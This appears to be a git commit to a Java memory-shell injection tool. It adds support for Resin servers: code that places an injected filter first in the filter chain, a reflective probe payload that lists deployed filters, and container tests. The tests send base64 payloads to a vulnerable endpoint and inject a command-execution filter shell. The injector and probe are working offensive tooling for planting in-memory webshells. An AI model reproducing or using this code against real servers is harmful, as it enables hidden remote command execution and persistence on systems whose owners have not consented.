feat: support addFilterFirst for resin

This commit is contained in:
ReaJason
2026-01-12 02:12:34 +08:00
parent c0a059fbdc
commit c8ede922b9
7 changed files with 338 additions and 0 deletions
@@ -136,6 +136,11 @@ public class ResinFilterInjector {
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(urlPattern, "init", null, null);
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
filterMappings.remove(filterMappingImpl);
filterMappings.add(0, filterMappingImpl);
invokeMethod(context, "clearCache", null, null);
}
@@ -0,0 +1,213 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class ResinFilterProbe {
@Override
public String toString() {
String msg = "";
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found\n";
} else {
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
}
msg += formatFiltersData(allFiltersData);
}
return msg;
}
private List<Map<String, String>> collectFiltersData(Object context) {
List<Map<String, String>> result = new ArrayList<>();
try {
Object filterMapper = getFieldValue(context, "_filterMapper");
Object filterManager = getFieldValue(context, "_filterManager");
if (filterMapper == null) return Collections.emptyList();
ArrayList<Object> filterMappings = (ArrayList<Object>) getFieldValue(filterMapper, "_filterMap");
for (Object filterMapping : filterMappings) {
Map<String, String> info = new HashMap<>();
String filterName = (String) invokeMethod(filterMapping, "getFilterName", null, null);
info.put("filterName", filterName);
String filterClassName = (String) invokeMethod(filterMapping, "getFilterClassName", null, null);
try {
if (filterClassName == null) {
Class<?> filterClass = (Class<?>) invokeMethod(filterMapping, "getFilterClass", null, null);
if (filterClass != null) {
filterClassName = filterClass.getName();
} else {
Object filter = ((Map<String, Object>) getFieldValue(filterManager, "_instances")).get(filterName);
if (filter != null) {
filterClassName = filter.getClass().getName();
}
}
}
} catch (Exception ignored) {
}
info.put("filterClass", filterClassName != null ? filterClassName : "N/A");
List<String> urlPatterns = new ArrayList<>();
String urlPattern = invokeMethod(filterMapping, "getURLPattern", null, null).toString();
if (urlPattern == null || urlPattern.isEmpty()) {
List<Object> matchList = (List<Object>) getFieldValue(filterMapping, "_matchList");
if (matchList != null && !matchList.isEmpty()) {
for (Object match : matchList) {
if (((Integer) getFieldValue(match, "_value")) == 1) {
urlPatterns.add(getFieldValue(match, "_regex").toString());
}
}
}
} else {
urlPatterns.add(urlPattern);
}
info.put("urlPatterns", Arrays.toString(urlPatterns.toArray()));
result.add(info);
}
} catch (Exception ignored) {
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"), "");
appendIfPresent(output, " -> ", info.get("filterClass"), "");
appendIfPresent(output, " -> URL:", info.get("urlPatterns"), "");
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value).append(suffix);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* com.caucho.server.webapp.Application
* /usr/local/resin3/lib/resin.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Class<?> servletInvocationClass = null;
try {
servletInvocationClass = thread.getContextClassLoader()
.loadClass("com.caucho.server.dispatch.ServletInvocation");
} catch (Exception e) {
continue;
}
if (servletInvocationClass != null) {
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
contexts.add(webApp);
}
}
return contexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -5,6 +5,7 @@ import com.reajason.javaweb.probe.payload.BasicInfoPrinter;
import com.reajason.javaweb.probe.payload.JdkProbe;
import com.reajason.javaweb.probe.payload.ServerProbe;
import com.reajason.javaweb.probe.payload.filter.JettyFilterProbe;
import com.reajason.javaweb.probe.payload.filter.ResinFilterProbe;
import com.reajason.javaweb.probe.payload.filter.TomcatFilterProbe;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
@@ -43,4 +44,8 @@ public class DetectionTool {
public static String getJettyFilterProbe() {
return getBase64Class(JettyFilterProbe.class);
}
public static String getResinFilterProbe() {
return getBase64Class(ResinFilterProbe.class);
}
}
@@ -4,9 +4,13 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -15,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -69,4 +77,24 @@ public class Resin3116ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("com.caucho.server.dispatch.handlers")));
}
}
@@ -4,9 +4,13 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -15,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -34,6 +42,11 @@ public class Resin318ContainerTest {
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@AfterAll
public static void tearDown() {
log.info(container.getLogs());
}
@Test
void testJDK() {
String url = getUrl(container);
@@ -69,4 +82,24 @@ public class Resin318ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_7);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("com.caucho.server.dispatch.handlers")));
}
}
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -69,4 +76,24 @@ public class Resin4058ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("com.caucho.server.dispatch.handlers")));
}
}
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -69,4 +76,24 @@ public class Resin4067ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V11);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("com.caucho.server.dispatch.handlers")));
}
}